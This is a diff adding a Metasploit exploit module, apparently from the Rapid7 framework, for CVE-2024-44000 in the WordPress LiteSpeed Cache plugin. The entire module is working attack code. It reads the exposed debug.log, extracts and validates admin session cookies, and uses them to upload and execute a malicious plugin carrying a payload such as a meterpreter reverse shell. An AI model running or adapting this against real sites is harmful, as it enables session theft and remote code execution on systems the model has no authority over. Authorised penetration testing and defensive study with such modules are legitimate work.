|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::Remote::HTTP::Wordpress |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + prepend Msf::Exploit::Remote::AutoCheck |
| 13 | + |
| 14 | + class DebugLogError < StandardError; end |
| 15 | + class WordPressNotOnline < StandardError; end |
| 16 | + class AdminCookieError < StandardError; end |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super( |
| 20 | + update_info( |
| 21 | + info, |
| 22 | + 'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft', |
| 23 | + 'Description' => %q{ |
| 24 | + This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin |
| 25 | + that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when |
| 26 | + the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint |
| 27 | + which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default. |
| 28 | + The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload. |
| 29 | + }, |
| 30 | + 'Author' => [ |
| 31 | + 'Rafie Muhammad', # discovery |
| 32 | + 'jheysel-r7' # module |
| 33 | + ], |
| 34 | + 'References' => [ |
| 35 | + [ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'], |
| 36 | + [ 'CVE', '2024-44000'] |
| 37 | + ], |
| 38 | + 'License' => MSF_LICENSE, |
| 39 | + 'Privileged' => false, |
| 40 | + 'Platform' => ['unix', 'linux', 'win', 'php'], |
| 41 | + 'Arch' => [ARCH_PHP, ARCH_CMD], |
| 42 | + 'Targets' => [ |
| 43 | + [ |
| 44 | + 'PHP In-Memory', |
| 45 | + { |
| 46 | + 'Platform' => 'php', |
| 47 | + 'Arch' => ARCH_PHP |
| 48 | + # tested with php/meterpreter/reverse_tcp |
| 49 | + } |
| 50 | + ], |
| 51 | + [ |
| 52 | + 'Unix In-Memory', |
| 53 | + { |
| 54 | + 'Platform' => ['unix', 'linux'], |
| 55 | + 'Arch' => ARCH_CMD |
| 56 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 57 | + } |
| 58 | + ], |
| 59 | + [ |
| 60 | + 'Windows In-Memory', |
| 61 | + { |
| 62 | + 'Platform' => 'win', |
| 63 | + 'Arch' => ARCH_CMD |
| 64 | + } |
| 65 | + ], |
| 66 | + ], |
| 67 | + 'DefaultTarget' => 0, |
| 68 | + 'DisclosureDate' => '2024-09-04', |
| 69 | + 'Notes' => { |
| 70 | + 'Stability' => [ CRASH_SAFE, ], |
| 71 | + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS], |
| 72 | + 'Reliability' => [ REPEATABLE_SESSION, ] |
| 73 | + } |
| 74 | + ) |
| 75 | + ) |
| 76 | + end |
| 77 | + |
| 78 | + def check |
| 79 | + @admin_cookie = get_valid_admin_cookie |
| 80 | + CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload') |
| 81 | + rescue WordPressNotOnline => e |
| 82 | + return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}") |
| 83 | + rescue DebugLogError => e |
| 84 | + return CheckCode::Safe("#{e.class}, #{e}") |
| 85 | + rescue AdminCookieError => e |
| 86 | + return CheckCode::Safe("#{e.class}, #{e}") |
| 87 | + end |
| 88 | + |
| 89 | + def extract_cookies(debug_log) |
| 90 | + admin_cookies = [] |
| 91 | + debug_log.each_line do |log_line| |
| 92 | + # 09/13/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c |
| 93 | + match = log_line.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/) |
| 94 | + admin_cookies << match.captures.compact.join('; ') if match |
| 95 | + end |
| 96 | + admin_cookies |
| 97 | + end |
| 98 | + |
| 99 | + def verify_admin_cookie(admin_cookies) |
| 100 | + admin_cookies.each do |admin_cookie| |
| 101 | + res = send_request_cgi({ |
| 102 | + 'uri' => '/wp-admin/', |
| 103 | + 'cookie' => admin_cookie |
| 104 | + }) |
| 105 | + return admin_cookie if res&.code == 200 |
| 106 | + end |
| 107 | + |
| 108 | + nil |
| 109 | + end |
| 110 | + |
| 111 | + def get_valid_admin_cookie |
| 112 | + raise WordPressNotOnline unless wordpress_and_online? |
| 113 | + |
| 114 | + res = send_request_cgi({ |
| 115 | + 'uri' => normalize_uri('wp-content', 'debug.log'), |
| 116 | + 'method' => 'GET' |
| 117 | + }) |
| 118 | + raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200 |
| 119 | + raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in') |
| 120 | + |
| 121 | + admin_cookies = extract_cookies(res.body) |
| 122 | + raise AdminCookieError, 'No admin cookies could be found in debug.log' if admin_cookies.blank? |
| 123 | + |
| 124 | + print_status('One or more potential admin cookies were found') |
| 125 | + |
| 126 | + admin_cookie = verify_admin_cookie(admin_cookies) |
| 127 | + raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie |
| 128 | + |
| 129 | + admin_cookie |
| 130 | + end |
| 131 | + |
| 132 | + def exploit |
| 133 | + unless @admin_cookie |
| 134 | + begin |
| 135 | + @admin_cookie = get_valid_admin_cookie |
| 136 | + print_good('Found and tested valid admin cookie, we can upload and execute a payload') |
| 137 | + rescue WordPressNotOnline => e |
| 138 | + fail_with(Failure::NotFound, "#{e.class}, #{e}") |
| 139 | + rescue DebugLogError, AdminCookieError => e |
| 140 | + fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}") |
| 141 | + end |
| 142 | + end |
| 143 | + |
| 144 | + print_status('Preparing payload...') |
| 145 | + plugin_name = Rex::Text.rand_text_alpha(10) |
| 146 | + payload_name = Rex::Text.rand_text_alpha(10).to_s |
| 147 | + payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") |
| 148 | + zip = generate_plugin(plugin_name, payload_name) |
| 149 | + |
| 150 | + print_status('Uploading payload...') |
| 151 | + |
| 152 | + uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie) |
| 153 | + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded |
| 154 | + |
| 155 | + print_status("Executing the payload at #{payload_uri}...") |
| 156 | + register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php") |
| 157 | + register_dir_for_cleanup("../#{plugin_name}") |
| 158 | + send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }) |
| 159 | + end |
| 160 | +end |
0 commit comments